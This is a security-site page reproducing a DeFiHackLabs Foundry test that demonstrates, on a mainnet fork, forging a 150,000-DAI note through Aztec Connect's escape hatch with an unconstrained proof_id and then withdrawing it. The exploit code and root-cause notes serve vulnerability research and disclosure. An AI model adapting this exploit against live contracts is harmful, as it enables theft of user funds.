Public reproduction file
src/test/2026-06/AztecEscapeHatch_exp2.sol
Public reproduction file for dataset entry Aztec Escape Hatch.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";6// @KeyInfo - Total Lost : N/A (whitehat educational reproduction; no funds at risk)7// Worst-case impact : ~$2M, matching the separate vulnerability that actually drained the contracts8// Attacker : Any caller during an escape-hatch-open block9// Vulnerable Contract : 0x737901bea3eeb88459df9ef1BE8fF3Ae1B42A2ba (Aztec Connect RollupProcessorV2)10// Attack Tx : N/A (whitehat fork reproduction)11//12// @Analysis13// Chain : Ethereum mainnet14// Date : Jun-22-202615// Fork block : 25,295,800 (escape hatch open)16// Note : The Aztec Connect contracts were already drained through a different vulnerability,17// so this is a purely educational reproduction and no funds are at risk.18// Disclosure : https://x.com/ivanbogatyy/status/206915960394259683019//20// @Root cause - escape hatch publishes an unconstrained inner proof_id:21//22// escape_hatch_circuit.cpp publishes the inner proof id with:23// public_witness_ct(&composer, 0); // proof_id.24//25// public_witness_ct() makes the value public but does not constrain it to 0. A prover can publish26// proof_id = 1 while still proving a join-split with public_input > 0 and output notes funded by27// that public input.28//29// RollupProcessor.processDepositsAndWithdrawals() settles public deposits/withdrawals only when:30// proofId == 0 && (publicInput != 0 || publicOutput != 0)31//32// Therefore the first escape proof below mints a 150,000-DAI private note from public_input =33// 150_000e18 while34// publishing proof_id = 1, causing Solidity to skip pending-deposit validation/debit. The second35// escape proof spends the forged note and withdraws 150,000 DAI to the receiver.36//37// The compact fixture proofs start from the empty rollup roots. This PoC patches only the deployed38// processor's five root/id/size slots to those fixture starting roots. The fork still uses the real39// deployed RollupProcessor, real deployed verifier, real DAI token, and real DAI vault balance.41interface IRollupProcessorV2 {42 function escapeHatch(43 bytes calldata proofData,44 bytes calldata signatures,45 bytes calldata viewingKeys46 ) external;47 function getEscapeHatchStatus() external view returns (bool isOpen, uint256 blocksRemaining);48 function getUserPendingDeposit(49 uint256 assetId,50 address userAddress51 ) external view returns (uint256);52 function dataRoot() external view returns (bytes32);53 function nullRoot() external view returns (bytes32);54 function rootRoot() external view returns (bytes32);55 function dataSize() external view returns (uint256);56 function nextRollupId() external view returns (uint256);57}59interface IERC20Minimal {60 function balanceOf(61 address account62 ) external view returns (uint256);63}65contract ContractTest is BaseTestWithBalanceLog {66 address internal constant ROLLUP = 0x737901bea3eeb88459df9ef1BE8fF3Ae1B42A2ba;67 address internal constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;68 address internal constant FAKE_INPUT_OWNER = 0x1111111111111111111111111111111111111111;69 address internal constant RECEIVER = 0x2222222222222222222222222222222222222222;70 string internal constant PROOFS = "src/test/2026-06/aztec_escape_hatch_proofs.txt";72 uint256 internal constant OPEN_ESCAPE_BLOCK = 25_295_800;73 uint256 internal constant ASSET_DAI = 1;74 uint256 internal constant WITHDRAW_AMOUNT = 150_000 ether;76 // Proof field indexes, not byte offsets. Escape proof layout starts with 14 rollup public inputs.77 uint256 internal constant ROLLUP_SIZE = 1;78 uint256 internal constant OLD_DATA_ROOT = 3;79 uint256 internal constant NEW_DATA_ROOT = 4;80 uint256 internal constant OLD_NULL_ROOT = 5;81 uint256 internal constant NEW_NULL_ROOT = 6;82 uint256 internal constant OLD_ROOT_ROOT = 7;83 uint256 internal constant NEW_ROOT_ROOT = 8;84 uint256 internal constant INNER_PROOF_ID = 14;85 uint256 internal constant INNER_PUBLIC_INPUT = 15;86 uint256 internal constant INNER_PUBLIC_OUTPUT = 16;87 uint256 internal constant INNER_ASSET_ID = 17;88 uint256 internal constant INNER_OUTPUT_OWNER = 25;90 // RollupProcessorV2 storage slots.91 bytes32 internal constant SLOT_DATA_ROOT = bytes32(uint256(1));92 bytes32 internal constant SLOT_NULL_ROOT = bytes32(uint256(2));93 bytes32 internal constant SLOT_ROOT_ROOT = bytes32(uint256(3));94 bytes32 internal constant SLOT_DATA_SIZE = bytes32(uint256(4));95 bytes32 internal constant SLOT_NEXT_ROLLUP_ID = bytes32(uint256(5));97 IRollupProcessorV2 internal constant rollup = IRollupProcessorV2(ROLLUP);98 IERC20Minimal internal constant dai = IERC20Minimal(DAI);100 function setUp() public {101 vm.createSelectFork("mainnet", OPEN_ESCAPE_BLOCK);102 fundingToken = DAI;103 attacker = RECEIVER;105 vm.label(ROLLUP, "Aztec RollupProcessorV2");106 vm.label(DAI, "DAI");107 vm.label(RECEIVER, "counterfeit receiver");108 }110 function testExploit() public balanceLog {111 (bool isOpen, uint256 remaining) = rollup.getEscapeHatchStatus();112 require(isOpen && remaining == 200, "escape hatch must be open at fork block");114 bytes memory fakeDepositProof = vm.parseBytes(vm.readLine(PROOFS));115 bytes memory withdrawProof = vm.parseBytes(vm.readLine(PROOFS));116 vm.closeFile(PROOFS);118 _assertFakeDepositShape(fakeDepositProof);119 _assertWithdrawShape(withdrawProof);120 _alignRollupStateToProof(fakeDepositProof);122 uint256 pendingBefore = rollup.getUserPendingDeposit(ASSET_DAI, FAKE_INPUT_OWNER);123 uint256 receiverBefore = dai.balanceOf(RECEIVER);125 rollup.escapeHatch(fakeDepositProof, "", "");127 assertEq(rollup.nextRollupId(), _word(fakeDepositProof, 0) + 1, "fake deposit rollup id");128 assertEq(rollup.dataRoot(), bytes32(_word(fakeDepositProof, NEW_DATA_ROOT)), "fake deposit data root");129 assertEq(rollup.nullRoot(), bytes32(_word(fakeDepositProof, NEW_NULL_ROOT)), "fake deposit null root");130 assertEq(rollup.rootRoot(), bytes32(_word(fakeDepositProof, NEW_ROOT_ROOT)), "fake deposit root root");131 assertEq(rollup.dataSize(), 2, "fake deposit inserts two notes");132 assertEq(rollup.getUserPendingDeposit(ASSET_DAI, FAKE_INPUT_OWNER), pendingBefore, "deposit was debited");134 rollup.escapeHatch(withdrawProof, "", "");136 uint256 gained = dai.balanceOf(RECEIVER) - receiverBefore;137 emit log_named_decimal_uint("counterfeit DAI withdrawn", gained, 18);138 assertEq(gained, WITHDRAW_AMOUNT, "unexpected DAI withdrawn from forged note");139 }141 function testBugIsOneField() public {142 bytes memory proof = vm.parseBytes(vm.readLine(PROOFS));143 vm.closeFile(PROOFS);145 emit log_named_uint("rollup_size", _word(proof, ROLLUP_SIZE));146 emit log_named_uint("published proof_id", _word(proof, INNER_PROOF_ID));147 emit log_named_uint("public_input", _word(proof, INNER_PUBLIC_INPUT));148 emit log_named_uint("public_output", _word(proof, INNER_PUBLIC_OUTPUT));150 bool txNeedsProcessing = _word(proof, INNER_PROOF_ID) == 0151 && (_word(proof, INNER_PUBLIC_INPUT) != 0 || _word(proof, INNER_PUBLIC_OUTPUT) != 0);152 assertFalse(txNeedsProcessing, "Solidity would process this public input");153 assertEq(_word(proof, INNER_PUBLIC_INPUT), WITHDRAW_AMOUNT, "proof does not mint public input value");154 }156 function _assertFakeDepositShape(157 bytes memory proof158 ) internal pure {159 assertEq(_word(proof, ROLLUP_SIZE), 0, "escape rollup size");160 assertEq(_word(proof, INNER_PROOF_ID), 1, "fake deposit proof_id");161 assertEq(_word(proof, INNER_PUBLIC_INPUT), WITHDRAW_AMOUNT, "fake deposit public_input");162 assertEq(_word(proof, INNER_PUBLIC_OUTPUT), 0, "fake deposit public_output");163 assertEq(_word(proof, INNER_ASSET_ID), ASSET_DAI, "fake deposit asset");164 }166 function _assertWithdrawShape(167 bytes memory proof168 ) internal pure {169 assertEq(_word(proof, ROLLUP_SIZE), 0, "escape rollup size");170 assertEq(_word(proof, INNER_PROOF_ID), 0, "withdraw proof_id");171 assertEq(_word(proof, INNER_PUBLIC_INPUT), 0, "withdraw public_input");172 assertEq(_word(proof, INNER_PUBLIC_OUTPUT), WITHDRAW_AMOUNT, "withdraw public_output");173 assertEq(address(uint160(_word(proof, INNER_OUTPUT_OWNER))), RECEIVER, "withdraw receiver");174 }176 function _alignRollupStateToProof(177 bytes memory proof178 ) internal {179 vm.store(ROLLUP, SLOT_DATA_ROOT, bytes32(_word(proof, OLD_DATA_ROOT)));180 vm.store(ROLLUP, SLOT_NULL_ROOT, bytes32(_word(proof, OLD_NULL_ROOT)));181 vm.store(ROLLUP, SLOT_ROOT_ROOT, bytes32(_word(proof, OLD_ROOT_ROOT)));182 vm.store(ROLLUP, SLOT_DATA_SIZE, bytes32(_word(proof, 2)));183 vm.store(ROLLUP, SLOT_NEXT_ROLLUP_ID, bytes32(_word(proof, 0)));184 }186 function _word(187 bytes memory proof,188 uint256 field189 ) internal pure returns (uint256 v) {190 assembly {191 v := mload(add(proof, add(0x20, mul(field, 0x20))))192 }193 }194}Analysis
Dataset entry
Public Foundry test for “Aztec Escape Hatch” (2026-06-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
- src/test/2026-06/Vault4626_exp.solSame month in the dataset · 172 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Vulnerable Contract
0x737901bea3eeb88459df9ef1be8ff3ae1b42a2ba
File record
- Name
- Aztec Escape Hatch
- Path
- src/test/2026-06/AztecEscapeHatch_exp2.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 75a88044828be64ffb4141391b025deb99111d21
- Language
- Solidity
- Size
- 195 lines
- Date
- 2026-06-22
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/AztecEscapeHatch_exp2.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 75a88044828be64ffb4141391b025deb99111d21, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.